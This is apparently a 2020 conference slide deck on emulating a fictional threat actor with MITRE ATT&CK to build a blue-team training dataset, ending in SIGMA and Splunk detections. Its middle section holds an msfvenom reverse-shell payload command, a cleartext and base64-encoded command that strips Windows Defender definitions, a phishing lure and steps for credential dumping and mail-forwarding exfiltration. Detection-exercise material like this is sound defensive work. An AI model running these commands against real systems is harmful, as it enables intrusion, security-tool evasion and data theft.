How I Became Our Own Worst Enemy, I Mean, Adversary

John Stoner
May 2020
# whoami > John Stoner

GCIA, GCIH, GCTI

20+ years of cyber security experience

Blogger on Hunting and SecOps

Loves The Smiths and all 80’s sadtimey music

Principal Security Strategist
@stonerpsu
In The Next 45 Minutes...

Apply CTI and the MITRE ATT&CK framework to emulate an adversary

Demonstrate how doing this can improve visibility to the blue team

Enabling threat hunters and operationalize the intelligence collected within Security Operations
How Can We Be Better with Hunting, Detecting and Defending?
How Do You Emulate Your Adversary?

- Unit testing has great value to test visibility for specific techniques
  - Leverage techniques like these throughout
- Automated can be very useful

- What are you trying to accomplish?
Training

Realistic

Competition

FUN!
<table>
<thead>
<tr>
<th>RED TEAM</th>
<th>BLUE TEAM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Offensive Security</td>
<td>Defensive Security</td>
</tr>
<tr>
<td>Ethical Hacking</td>
<td>Infrastructure protection</td>
</tr>
<tr>
<td>Exploiting vulnerabilities</td>
<td>Damage Control</td>
</tr>
<tr>
<td>Penetration Tests</td>
<td>Incident Response (IR)</td>
</tr>
<tr>
<td>Black Box Testing</td>
<td>Operational Security</td>
</tr>
<tr>
<td>Social Engineering</td>
<td>Threat Hunters</td>
</tr>
<tr>
<td>Web App Scanning</td>
<td>Digital Forensics</td>
</tr>
</tbody>
</table>

CHF 1000 CHF 2000 CHF 3000
BOSS OF THE SOC 2017
Violent Memmes (also known as APT404 / SUSTAINABLE PARADOX / CUBIC ZIRCONIA / SNARKY BEAR ) is a hacker group identified by the FRPCENK threat intelligence company as a most likely Russian advanced actor.

The group has been known to have advanced capabilities in exploiting windows machines along with knowledge of industrial control system processes.

<table>
<thead>
<tr>
<th>Violent Memmes Жестокие Меммес</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Formation</strong></td>
</tr>
<tr>
<td><strong>Type</strong></td>
</tr>
<tr>
<td><strong>Purpose</strong></td>
</tr>
<tr>
<td><strong>Region</strong></td>
</tr>
<tr>
<td><strong>Methods</strong></td>
</tr>
<tr>
<td><strong>Official Language</strong></td>
</tr>
<tr>
<td><strong>Formerly called</strong></td>
</tr>
</tbody>
</table>
Identified in 2008

Identified in 2014

https://www.crowdstrike.com/blog/who-is-fancy-bear/
Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign

There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. elections. However, the new campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. APT29 is a sophisticated actor, and while sophisticated actors are not infallible, seemingly blatant mistakes are cause for pause when considering historical uses of deception by Russian intelligence services. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long interlude.
Third-party security researchers have attributed the attack to a threat actor named APT29 or CozyBear, which largely overlaps with the activity group that Microsoft calls YTTRIUM. While our fellow analysts make a compelling case, Microsoft does not yet believe that enough evidence exists to attribute this campaign to YTTRIUM.
Strontium (APT28)

Source: MSTIC
<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Lateral Movement</th>
<th>Command And Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>2 items</td>
<td>7 items</td>
<td>5 items</td>
<td>3 items</td>
<td>7 items</td>
<td>1 items</td>
<td>4 items</td>
</tr>
<tr>
<td>Spearphishing Attachment</td>
<td>Exploitation for Client Execution</td>
<td>Accessibility Features</td>
<td>Accessibility Features</td>
<td>Bypass User Account Control</td>
<td>Pass the Ticket</td>
<td>Commonly Used Port</td>
</tr>
<tr>
<td>Spearphishing Link</td>
<td>PowerShell</td>
<td>Registry Run Keys / Startup Folder</td>
<td>Bypass User Account Control</td>
<td>File Deletion</td>
<td>Domain Fronting</td>
<td>Multi-hop Proxy</td>
</tr>
<tr>
<td></td>
<td>Rundll32</td>
<td>Scheduled Task</td>
<td>Scheduled Task</td>
<td>Indicator Removal on Host</td>
<td></td>
<td>Standard Non-Application Layer Protocol</td>
</tr>
<tr>
<td></td>
<td>Scheduled Task</td>
<td>Shortcut Modification</td>
<td>Windows Management Instrumentation Event Subscription</td>
<td>Obfuscated Files or Information</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Scripting</td>
<td></td>
<td></td>
<td>Rundll32</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>User Execution</td>
<td></td>
<td></td>
<td>Scripting</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Windows Management Instrumentation</td>
<td></td>
<td></td>
<td>Software Packing</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Initial Access</td>
<td>Execution</td>
<td>Persistence</td>
<td>Privilege Escalation</td>
<td>Defense Evasion</td>
<td>Credential Access</td>
<td>Discovery</td>
</tr>
<tr>
<td>----------------</td>
<td>-----------</td>
<td>-------------</td>
<td>----------------------</td>
<td>----------------</td>
<td>------------------</td>
<td>-----------</td>
</tr>
<tr>
<td>Replication Through Removable Media</td>
<td>Command Line Interface</td>
<td>Bootkit</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Credential Dumping</td>
<td>File and Directory Discovery</td>
</tr>
<tr>
<td>Spearphishing Attachment</td>
<td>Dynamic Data Exchange</td>
<td>Component Object Model Hijacking</td>
<td>Exploitation for Privilege Escalation</td>
<td>Component Object Model Hijacking</td>
<td>Input Capture</td>
<td>Logon Scripts</td>
</tr>
<tr>
<td>Spearphishing Link</td>
<td>Exploitation for Client Execution</td>
<td>Hidden Files and Directories</td>
<td>Valid Accounts</td>
<td>Connection Proxy</td>
<td>Network Sniffing</td>
<td>Network Sniffing</td>
</tr>
<tr>
<td>Trusted Relationship</td>
<td>PowerShell</td>
<td>Logon Scripts</td>
<td>Exploitation for Defense Evasion</td>
<td>Deobfuscate/Decode Files or Information</td>
<td>Peripheral Device Discovery</td>
<td>Remote File Copy</td>
</tr>
<tr>
<td>Valid Accounts</td>
<td>Rundll32</td>
<td>Office Application Startup</td>
<td>File Deletion</td>
<td>File Deletion</td>
<td>Process Discovery</td>
<td>Email Collection</td>
</tr>
<tr>
<td></td>
<td>Scripting</td>
<td></td>
<td>Hidden Files and Directories</td>
<td>Hidden Files and Directories</td>
<td></td>
<td>Input Capture</td>
</tr>
<tr>
<td></td>
<td>User Execution</td>
<td></td>
<td>Hidden Window</td>
<td>Indicator Removal on Host</td>
<td></td>
<td>Screen Capture</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Obfuscated Files or Information</td>
<td>Obfuscated Files or Information</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Rootkit</td>
<td>Rootkit</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Rundll32</td>
<td>Rundll32</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Scripting</td>
<td>Scripting</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Template Injection</td>
<td>Template Injection</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Timestamp</td>
<td>Timestamp</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Valid Accounts</td>
<td>Valid Accounts</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Initial Access</td>
<td>Execution</td>
<td>Persistence</td>
<td>Privilege Escalation</td>
<td>Defense Evasion</td>
<td>Credential Access</td>
<td>Discovery</td>
</tr>
<tr>
<td>----------------------------------------</td>
<td>------------------------------------</td>
<td>------------------------------------</td>
<td>-------------------------------------</td>
<td>-------------------------------------</td>
<td>----------------------------------------</td>
<td>-------------------------------------------</td>
</tr>
<tr>
<td>Replication Through Removable Media</td>
<td>Command-Line Interface</td>
<td>Accessibility Features</td>
<td>Access Token Manipulation</td>
<td>File and Directory Discovery</td>
<td>Credential Dumping</td>
<td>Exfiltration Through Removable Media</td>
</tr>
<tr>
<td>Spearphishing Attachment</td>
<td>Dynamic Data Exchange</td>
<td>Bootkit</td>
<td>Access Token Manipulation</td>
<td>Network Sniffing</td>
<td>Input Capture</td>
<td>Collection</td>
</tr>
<tr>
<td>Spearphishing Link</td>
<td>Exploitation for Client Execution</td>
<td>Component Object Model Hijacking</td>
<td>Bypass User Account Control</td>
<td>Network Sniffing</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Trusted Relationship</td>
<td>PowerShell</td>
<td>Hidden Files and Directories</td>
<td>Component Object Model Hijacking</td>
<td>Peripheral Device Discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Valid Accounts</td>
<td>Logon Scripts</td>
<td>Exploitation for Privilege Escalation</td>
<td>Deobfuscate/Decode Files or Information</td>
<td>Process Discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td>Registry Run Keys / Startup Folder</td>
<td>Valid Accounts</td>
<td>File Deletion</td>
<td>Pass the Hash</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td>Scheduled Task</td>
<td>Hidden Files and Directories</td>
<td>Hidden Window</td>
<td>Pass the Hash</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td>Shortcut Modification</td>
<td>Indicator Removal on Host</td>
<td>Indicated Removal on Host</td>
<td>Pass the Hash</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td>Valid Accounts</td>
<td>Obfuscated Files or Information</td>
<td>Rootkit</td>
<td>Pass the Hash</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td></td>
<td>Rootkit</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td></td>
<td>Scripting</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td></td>
<td>Software Packing</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td></td>
<td>Template Injection</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td></td>
<td>Timestamp</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management Instrumentation</td>
<td></td>
<td>Valid Accounts</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>MITRE ATT&amp;CK® Navigator v2.3.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Goals

- Spearphishing Link (.Ink file)
- Domain Fronting
- Accessibility Features
- Pass the Ticket (Golden Ticket)
- NTDS.dit
History

Very little is known about the group other than a recent spat of activity in 2019 detected by the threat intelligence group FRPCENK. The group’s name “VIOLENT MEMMES” was coined after analysts at FRPCENK consistently saw references to the Violent Femmes in the group’s malware and C2 communications. Combined with their use of stego in internet memes and the occasional utilization of Violent Femmes band members (victor.delorenzo[@]gmail[.]com) in spear phishing campaigns, FRPCENK analyst Rtan Krowbar reported that “When you add it up, the name was obvious.”

Targets

The group has reportedly only targeted organizations in the American and Australian brewing industry.

Techniques

The VIOLENT MEMMES reportedly uses spear phishing and off-the-shelf hacking tools like Metasploit and PowerShell exploits to gain footholds on victim infrastructure. The group also
SOCIO-POLITICAL AXIS

1. Seeking to obtain high end Western Beers for production in their breweries

ADVERSARY

- Nation-state sponsored adversary
- Uses German naming conventions

CAPABILITIES

- PowerShell
- Spearphishing
- Domain Fronting
- Ticket Passing

INFRASTRUCTURE

- German Based DigitalOcean servers
- Enom Registered DNS

TECHNICAL AXIS

- Metasploit
- Credential Dumping (Mimikatz)
- User svc_print for Account Persistence
- Remote Desktop Protocol
- Shtasks.exe for beacon and persistence
- PSEexec for lateral movement
- Yandex browser

WESTERN INNOVATIVE BREWERS AND HOME BREWING COMPANIES

VIOLENT MEMMES

Thanks ThreatConnect!
<table>
<thead>
<tr>
<th>Domain</th>
<th>ID</th>
<th>Name</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Enterprise</td>
<td>T1015</td>
<td>Accessibility Features</td>
<td>APT29 used sticky-keys to obtain unauthenticated, privileged console access.[4][6]</td>
</tr>
<tr>
<td>Enterprise</td>
<td>T1088</td>
<td>Bypass User Account Control</td>
<td>APT29 has bypassed UAC.[4]</td>
</tr>
<tr>
<td>Enterprise</td>
<td>T1043</td>
<td>Commonly Used Port</td>
<td>APT29 has used Port Number 443 for C2.[7]</td>
</tr>
<tr>
<td>Enterprise</td>
<td>T1172</td>
<td>Domain Fronting</td>
<td>APT29 has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.[4]</td>
</tr>
<tr>
<td>Enterprise</td>
<td>T1203</td>
<td>Exploitation for Client Execution</td>
<td>APT29 has used multiple software exploits for common client software, like Microsoft Word and Adobe Reader, to gain code execution as part of.[1]</td>
</tr>
<tr>
<td>Enterprise</td>
<td>T1107</td>
<td>File Deletion</td>
<td>APT29 used SDelete to remove artifacts from victims.[4]</td>
</tr>
<tr>
<td>Enterprise</td>
<td>T1070</td>
<td>Indicator Removal on Host</td>
<td>APT29 used SDelete to remove artifacts from victims.[4]</td>
</tr>
</tbody>
</table>
Construction Challenges

- Could not get a copy of Cobalt Strike
  - PowerShell Empire was not an option
  - Metasploit filled the gap
- Wanted to exercise LOTL, not just MSP
  - LOTS of encoding
- Strong desire to have a cloud component
- All workstations needed to be Windows 10 running Windows Defender
  - Server was Win2012
- Needed to be different from prior year’s scenario
Tools

- Metasploit
- Rubeus
- Mimikatz
- SDelete
- RDPWrapper
- PSexec.exe
- Tar.exe
- Microsoft Remote Desktop
.LNK File

- Lnk file with embedded PowerShell that is zipped (and password protected)

- Lnk file is placed in GDrive
  - Upon execution
    - Runs PS command to download from cloned website a pdf that lists all the sessions
    - Opens the pdf
    - Disables WinDefender on local system using a nice registry/scheduled task bypass technique
    - Runs PS command to download from staging server and executes

Thank you for attending this year’s conference. We wanted to provide you a link to all the presentations from the sessions and tracks. Because the presentations are for attendees only, please use your special PIN: <insert pin> to access your session link.

Thank you again for attending and we look forward to seeing you next year!

Sincerely,
Gordon Ritchie
Credential Attacks

• Mimikatz
  • Metasploit Module (Kiwi)
  • Mimikatz (lsadump/kerberos)
  • PowerShell Script

• Rubeus
  • Golden Ticket
  • Newer tool, wanted to exercise it
  • Very easy to use
  • Microsoft Sysmon and Windows Events Logs (4688)
Beacon

- Unencrypted
- Outbound Web URL
- Subdomain included things like
  - Time
  - System
  - User
- Tells me who has logged into that system since compromise and beacon was set
- Since registry modification occurred, we know that creds could be available via cleartext for mimikatz
RDP Pivot / Accessibility Controls

- Sticky Keys
- Meterpreter Port Forwarding

1. Attack 10.10.60.80 via SMB.
2. Attack 10.10.60.50 ssh using Target1.

https://tento.hatenablog.com/entry/2019/07/10/070040
The Ink file will download and open the session list from our cloned web server so it appears that our Ink works. Additionally the Ink file will disable WinDefender and then reaches out to download the s1.ps1 script from that runs meterpreter in memory. All of this happens in encoded powershell.

**T1086: PowerShell**

**T1089: Disabling Security Tools**

**T1043: Commonly Used Port**

**T1132: Data Encoding**

**T1172: Domain Fronting**

The command below generates a command line obfuscated powershell one liner. Stripping out the leading `%COMSPEC% /b /c start /b /min` p gives us a powershell command that will get pulled down and successfully execute a meterpreter shell.

```
msfvenom -p windows/meterpreter/reverse_https LHOST=example.microsoft.com LPORT=443 HttpHostHeader=https://edge.net -f psh-cmd -o psu.ps1
```
meterpreter > **shell**
Process 3100 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17134.765]
(c) 2018 Microsoft Corporation. All rights reserved.

**T1059: Command Line Interface**

Command in cleartext
C:\Windows\system32> powershell & "C:\Program Files\Windows Defender\MpCmdRun.exe"
-RemoveDefinitions -All

**T1089: Disabling Security Tools**
**T1086: PowerShell**
**T1132: Data Encoding**

**Run this instead**
C:\Windows\system32> powershell -ec

JwBDADOAXABQAHIAbwBnAHIAYQBTACAARgBpAGwAZQBzAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBKA
GUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeAB1ACAALQBSAGUAbQBVHYAZQBEAGUAZgBpAG4AaQB0AGkAbw
BuAHMAIAAtAEEAbABsACcA
Go over to [https://www.office.com](https://www.office.com)

- Fortunately, Bud’s password works there too
- Add user here too in case they aren’t in azure or maybe add another
- Unblock a user and change a password
- Create distro list and add Dan to it or maybe a nested list
  - Created helpdesk shared box and assigned to Dan
  - Assigned o365 licenses to dan
  - Create mailbox for dan
  - Set up mail forwarding rules to dan
- Check out security centers et al and see if other blocks can be put into place
- Move to Frothly_Shared and move stuff around and download
- Move to Bud’s OneDrive and grab stuff
  - Options below apply to both

**T1048: Exfiltration over Alternative Protocol**
LESSONS
LEARNED
Verification & Validation

• As we ran our attacks:
  • Users were created
  • Beacons responded
  • Creds dumped

• Afterward, validate by hunting against the data set
  • How do these attacks mesh with our defensive posture?

• Without that, all of this is just fun and games
**Red Team**
- Offensive Security
- Ethical Hacking
- Exploiting vulnerabilities
- Penetration Tests
- Black Box Testing
- Social Engineering
- Web App Scanning

**Purple Team**
- Facilitate improvements in detection and defence
- Sharpened the skills of Blue and Red team members
- Effective for spot-checking systems in larger organizations

**Blue Team**
- Defensive Security
- Infrastructure protection
- Damage Control
- Incident Response (IR)
- Operational Security
- Threat Hunters
- Digital Forensics

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Command And Control</th>
<th>Exfiltration</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>5 items</td>
<td>11 items</td>
<td>14 items</td>
<td>6 items</td>
<td>21 items</td>
<td>5 items</td>
<td>11 items</td>
<td>9 items</td>
<td>10 items</td>
<td>11 items</td>
<td>3 items</td>
<td>1 item</td>
</tr>
</tbody>
</table>

- **Replication Through Removable Media**
  - Command-Line Interface
  - Security Features
  - Access Token Manipulation
- **Spearphishing Attachment**
  - Dynamic Data Exchange
  - Account Manipulation
  - Bypass User Account Control
- **Spearphishing Link**
  - Exploitation for Client Execution
  - Bootkit
  - Component Object Model Hijacking
- **Trusted Relationship**
  - Graphical User Interface
  - Create Account
  - Deobfuscate/Decode Files or Information
- **Valid Accounts**
  - PowerShell
  - Hidden Files and Directories
  - Logon Scripts
- **Scripting**
  - Modify Existing Service
  - Exploitation for Defense Evasion
- **Service Execution**
  - Office Application Startup
  - File Deletion
- **Windows Management Instrumentation**
  - Registry Run Keys / Startup Folder
  - Hidden Files and Directories
  - Hidden Window
- **Shortcut Modification**
  - Indicator Removal on Host
  - Modify Registry
- **Valid Accounts**
  - Windows Management Instrumentation
  - Event Subscription
  - Rootkit
  - Rundll32
  - Scripting
  - Software Packing
  - Template Injection
  - Timestamp
  - Valid Accounts

**Account Manipulation**
- Account Discovery
- Application Discovery Token
- Credit Dumping
- Cloud Service Dashboard
- Network Service Scanning
- Remote File Copy
- System Network Connections Discovery

**Application Access Token**
- Exploitation of Remote Services
- Logon Scripts
- Pass the Ticket
- Remote Desktop Protocol
- Windows Admin Shares

**Automated Collection**
- Data from Cloud Storage Object
- Data from Information Repositories
- Data from Local System
- Data from Network Shared Drive
- Data from Removable Media
- Email Collection

**Exfiltration**
- Data Compressed
- Exfiltration Over Alternative Protocol
- Connection Proxy
- Custom Cryptographic Protocol
- Data Encoding
- Domain Fronting
- Multi-hop Proxy
- Remote File Copy

**Commonly Used Port**
- Data from Cloud Storage Object
- Data from Information Repositories
- Data from Local System
- Data from Network Shared Drive
- Data from Removable Media
- Email Collection

**Service Stop**
- Data Compressed
- Exfiltration Over Alternative Protocol
- Connection Proxy
- Custom Cryptographic Protocol
- Data Encoding
- Domain Fronting
- Multi-hop Proxy
- Remote File Copy

**Other**
- Standard Application Layer Protocol
- Standard Non-Application Layer Protocol
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=AGRADY-L.froth.ly
User=NOT_TRANSLATED
Sid=S-1-5-18
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=1041599
Keywords=None

Message=CommandInvocation(Copy-Item): "Copy-Item"
ParameterBinding(Copy-Item): name="Path"; value="rdpwrap.ini"
ParameterBinding(Copy-Item): name="Destination"; value="C:\Program Files\RDP Wrapper\"

Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.17134.858
Host ID = e7001b98-d4ea-476e-bc60-00e4dce9f19

Host Application = powershell -ec YwBvAHAAeaQAgAHIAZABwAHcAchgBhAHAALgBpAG4AaQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAAQB5A
GUAcwBcAFIARABQACAAVwByAGEAcABwAGUAcgBcACcA
Engine Version = 5.1.17134.858
Runspace ID = 29d66da1-0b70-47c4-8a6e-41bb1dc92982
<table>
<thead>
<tr>
<th>Type</th>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Selected</td>
<td>host</td>
<td>AGRADYL</td>
</tr>
<tr>
<td></td>
<td>source</td>
<td>WinEventLog.Microsoft-Windows-Sysmon/Operational</td>
</tr>
<tr>
<td></td>
<td>sourcetype</td>
<td>XmlWinEventLog.Microsoft-Windows-Sysmon/Operational</td>
</tr>
<tr>
<td></td>
<td>user</td>
<td>NT AUTHORITY\SYSTEM</td>
</tr>
</tbody>
</table>

| Event    | CommandLine  | winlogon pt:ticket1:do/FoDCBZygAwIB3aEDaGWo0lEnjCCBjphgsNMIExqADAgEFOiRMbERISVFJTVFICRVJORJUIoQ9NoiYwJyKDA\AGeCoR0wGxsGa3JicG6dGFUSEiSU1RZQkvSTIKVSLkNPTaOCBEwgggBAoMzCARKhAwBAqKCBDeGq2ISt1sKoL1zYhEY0e8SvJRUCT3JPOFTpbo1o8LiFV2pgv235e+YN7QLESTKwRrmYm2EHVSAjic9Heheeoe888mNieTS0i1BPzZpYGzTSiKIVvUUOi1zdaijfrn4f1c9W1acPFHbHw9W05DEQEFa08D/ucG8NdifleEyLpZoGctTJcJTMoFIBQgxUG6E1ZjUImSaBqgt0HvU57MqGZ25G8UXbF0RLC4kKUWY6OLkM9PaTW21dsDJE9eclDmzENEBNyn.JxlJsoxd/sz1b1LRL99AgwhuU720AQMVhD25G+DVeKpacNHdico81xAM9qL0fIEXEIPy8FMmOWNx4MT5W5dveKpAvsucPvEAploJG7Irdf64kW8RBKFbzthI3x6HHI9KfDfLXJLMUmNL7t769qjwpQ3oqj9fUzZhK2nOlOVIKOB3ntwzcGt0lInYv/1hay+e20ZxaR1HlIqaQn3QgviYExxKXNPNiClvaHIMIEQyjONVz5GAzLzmaA7aFifs1lWkmwFymVT+IiMwbrnKzczxFSJ-Q3AqKFlpxsYjeqQrToq57ent8yYzR6WYByv1TcMq044oULVuiWk7K9J5ZX2PHDjMYV9bf4XpSyQZNYuZnA3hs/Hudva0MqJloJicyaINyC3accQ2XmJjeRv/71TADkuaVUT2h5vqT7Cg5OpzTUP3CjcsfL1J5IplPhkKeth5GzurjvUG5LkAwstXDFtx9X1pe+UKy8XugFMDrNgDtcEEBt8IImC1V2EM87UFdNaPydUDmVmhui7E7r0k1c7pkXwwuehUGVMCDIjGcvJsrbbqV0MxRv5R80kKeGwvaayDy21I+J3bf2RzQdNzq3mVq4yc7I7mQeC09Xm73By3wS3yX8zKpF9JN9Lkveqk/DOWuwaAnGrI8UXx+5D70mK4axjOtqv07y3OmkQkVEдCyxs/0x/adYJEFeiztiPAEnncjr9ACpLzq3j82oMgc3QwUMcU2d4beTCBgyFYn3SVE0J2RhYKLipMD3NuRv6 bredx+aekrGRCLPbScStVTSs5j3YRve/WkV8K0RRCNFr6j50bHDXdX0Yek3zOgG5IPQQX1TGkxj4Exqmnmn4YTlsYVRokPuugA+T+9DFwWH7lHq3sKBZMPAQ6F4WIypdpFEcNcQlazOWBrp7Gm7Ub2BDwbQ0vW3/hpsmvtzCg24aazheURgOH5Qf19ummpRjZg8lIjDOSFZvzzUNIznoMknAkAMOSf7m/0VDewE8dPRnvEN3Y0j08aHJ1sm62f5zCqBpKb9i18Hv/7867E12WLB6lE6x3bNjI7EvsZid6d95SgwSWMVOCwzFolUJQTSt0d2h8ykJn+nbnyxdWMGOEJC19vcjYH6Juk7TbcC27JzRdxC70oySFmgkW4VCDVKYJ BeaQB7B6qDaAgE AooHiblf8FfHtWHMi/HElQoRC0sWuGAQadAgEYeRrEIEE6-DQGpsPhqjIeS76cin8sHShExsREYejUNIUNUWJFUKsu5F5D1T02HTAb oAMC4QgHfDA45G6xBcmn90aG6x5XHbH8iKzYNrowcWDBQ3gQAqAqREyDzwMTkxOWDaXMDAQNJU5WqRyBAYMD5MDgwMTE wMDQxRIqEgRPMjAxOTA4MDgwMA0MTJaqBMbERISVFJTVFICRVJORJUIoQ9Nq5YwJKADAgECoR0wGxsGa3JicG6dGFUSEiSU1RZQkvSTIKVSLkNPT0==

- Computer       | AGRADYL, froth.ly
- CurrentDirectory | C:\Windows\System32\printdrv\
<table>
<thead>
<tr>
<th>Type</th>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>appDisplayName</td>
<td>Azure Portal</td>
</tr>
<tr>
<td></td>
<td>clientAppUsed</td>
<td>Browser</td>
</tr>
<tr>
<td></td>
<td>createdDateTime</td>
<td>2019-08-03T06:41:54.4319506Z</td>
</tr>
<tr>
<td></td>
<td>deviceDetail.browser</td>
<td>Yandex Browser 16.10.1</td>
</tr>
<tr>
<td></td>
<td>deviceDetail.operatingSystem</td>
<td>Windows 7</td>
</tr>
<tr>
<td></td>
<td>eventtype</td>
<td>ms_aad_signin (authentication)</td>
</tr>
<tr>
<td></td>
<td>location.city</td>
<td>Frankfurt Am Main</td>
</tr>
<tr>
<td></td>
<td>location.countryOrRegion</td>
<td>DE</td>
</tr>
<tr>
<td></td>
<td>location.geoCoordinates.latitude</td>
<td>50.11090087890625</td>
</tr>
<tr>
<td></td>
<td>location.geoCoordinates.longitude</td>
<td>8.682100296020508</td>
</tr>
<tr>
<td></td>
<td>location.state</td>
<td>Hessen</td>
</tr>
<tr>
<td></td>
<td>resourceDisplayName</td>
<td>Windows Azure Service Management API</td>
</tr>
<tr>
<td></td>
<td>source</td>
<td>tenant_id:225e05a1-5914-4688-a404-7030e60f3143</td>
</tr>
<tr>
<td></td>
<td>sourcetype</td>
<td>ms:aad:signin</td>
</tr>
<tr>
<td></td>
<td>src</td>
<td>46.165.246.176</td>
</tr>
</tbody>
</table>
Bridging the Data Gap

- What can’t we see
- If we can’t see it, we can’t hunt it
- If we can’t hunt it, we can’t detect it
title: Renamed PsExec
id: a7a7e0e5-1d57-49df-9c56-9fe5bc0346a2
status: experimental
description: Detects the execution of a renamed PsExec often used by attackers or malware
references:
author: Florian Roth
date: 2019/05/21
tags:
- car.2013-05-009
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    Description: 'Execute processes remotely'
    Product: 'Sysinternals PsExec'
  filter:
    Image:
    - '*\PsExec.exe'
    - '*\PsExec64.exe'
  condition: selection and not filter
falsepositives:
- Software that illegally integrates PsExec in a renamed form
- Administrators that have renamed PsExec and no one knows why
level: high
**Narrative**

The searches contained in this analytic story are all detection searches that were built as part of the exercises and can be modified to suit organization's Enterprise Security deployments. Many exercises are inspired by SIGMA detection searches. The SIGMA project is hosted here: https://github.com/Neo23x0/sigma. Additional correlation searches are inspired by content found in Splunk Enterprise Security Content Update and other organic efforts.

**References**

- https://github.com/Neo23x0/sigma
- https://www.eideon.com/2017-09-09-THLO1-Mimikatz/
- https://splunkbase.splunk.com/app/3449/

**TECHNOLOGIES**

- Splunk Stream
- Fortinet Firewall
- Microsoft Sysmon
- Carbon Black

---

**Endpoint - Execution of a renamed psexec.exe to avoid detection - Rule**

- **Description**
  
  SIGMA detection: https://github.com/Neo23x0/sigma/blob/master/rules/windows/sysmon/sysmon_renamed_psexec.yml

- **Explanation**
  
  Detects the execution of a renamed PsExec often used by attackers or malware. SIGMA detection: https://github.com/Neo23x0/sigma/blob/master/rules/windows/sysmon/sysmon_renamed_psexec.yml

- **Search**

  ```
sourcetype=xmlwineventlog.microsoft-windows-sysmon/operational Product="Sysinternals PsExec" Description="Execute processes remotely" NOT (Image="*\PsExec.exe" OR Image ="*\PsExec64.exe")
| table dest parent_process parent_process_exec parent_process_id parent_process_guid parent_process_name parent_process_path process process_current_directory process_exec process_hash process_guid process_id process_integrity_level process_name process_path user vendor_product | eval techID="T1036" | lookup mitre_attack ID as techID OUTPUT Tactic Technique Description
  ```
More Robust Detections

- Compound detections based on TTPs
- Risk based perspective where atomic activities add up over time
- Determine what is normal and let me know when things stop being normal
Tips to create your own adversary

• Perfection Is Unobtainable
  • At some point, diminishing returns
• Identify the key goals you want to exercise
  • Techniques come along
• Leverage your threat intelligence
  • Open source is a fine fall back
  • Make sure your adversary fits you
• Focus on the upper end of the pyramid

Source: David J. Bianco, personal blog
- No Cobalt Strike
- Won’t always have access to every tool
- It really didn’t impact our overall scenario?

- Find a workaround
- Stay focused on your goals
- Defensive side visibility
Final Thoughts

• Testing individual techniques is good but techniques in concert with associated techniques is better!
• Leverage a common taxonomy
• Know who your adversary is
• Don’t try to be perfect
• Identify gaps in your data and improve visibility
• Develop better detections
Thank You!

